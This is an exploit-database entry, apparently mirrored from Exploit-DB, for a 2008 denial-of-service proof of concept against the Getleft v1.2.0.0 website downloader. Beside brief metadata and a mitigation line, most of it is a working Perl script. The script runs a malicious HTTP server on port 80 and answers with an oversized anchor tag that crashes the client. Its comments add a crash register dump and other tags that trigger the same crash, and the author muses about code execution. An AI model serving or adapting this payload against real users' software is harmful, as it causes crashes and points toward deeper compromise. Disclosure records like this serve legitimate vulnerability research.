Getleft v1.2.0.0 DoS PoC

vendor:

Getleft

by:

Koshi

7.5

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: Getleft

Affected Version From: 1.2.0.0

Affected Version To: 1.2.0.0

Patch Exists: YES

Related CWE: N/A

CPE: a:andres_garcia:getleft:1.2.0.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2

2008

This PoC exploits a vulnerability in Getleft v1.2.0.0 which allows an attacker to cause a denial of service (DoS) condition by sending a specially crafted HTTP request containing a large number of HTML tags. This causes the application to crash.

Mitigation:

Upgrade to the latest version of Getleft.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Getleft v1.2.0.0 DoS PoC
# Author: Koshi
#
# Application: Getleft v1.2
# Publisher: Andres Garcia ( http://personal1.iddeo.es/andresgarci/getleft/english/index.html )
# Description: Website Downloader, for such things as offline browsing.
# Tested On: Windows XP SP2
#
# Module: Getleft.exe
# eax=00c5f170 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00c5f170
# eip=004863eb esp=0022d9b0 ebp=010b4870 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
#
# Getleft+0x863eb:
# 004863eb 8b06            mov     eax,dword ptr [esi]  ds:0023:00000000=????????
# 
# <embed src=>, <img src=>, <script src=>, <body background=>
# Plenty of other tags will work as well. I'm not so sure about
# code execution, I'll have to try a few other things.
#

use IO::Socket;

my $body = "<a href=\x22/abcd.jpg\x22>" ."A"x1950 ."</a>";
my $resp = "".
	"HTTP/1.1 200 OK\r\n".
	"Server: Apache\r\n".
	"Date: Mon, 22 Dec 2008 21:50:46 GMT\r\n".
	"Content-Type: text/html\r\n".
	"Accept-Ranges: bytes\r\n".
	"Last-Modified: Mon, 22 Dec 2008 21:45:46 GMT\r\n".
	"Content-Length: " .length($body) ."\r\n".
	"Connection: close\r\n\r\n".
	"$body\r\n";

for ($i = 2; $i >= 1; $i--) {

my $sock = new IO::Socket::INET (LocalPort => '80',
				 Proto => 'tcp',
				 Listen => 1,
				 Reuse => 1, );

print "Listening...\n";
my $new_sock = $sock->accept();
print "Connected...\n";
my $sock_addr = recv($new_sock,$msg,190,0);
print "Sending ...\n";
print $new_sock "$resp";
print "Sent!\n";
close($sock);
print "Closed.\r\n\r\n";

}

# milw0rm.com [2008-12-23]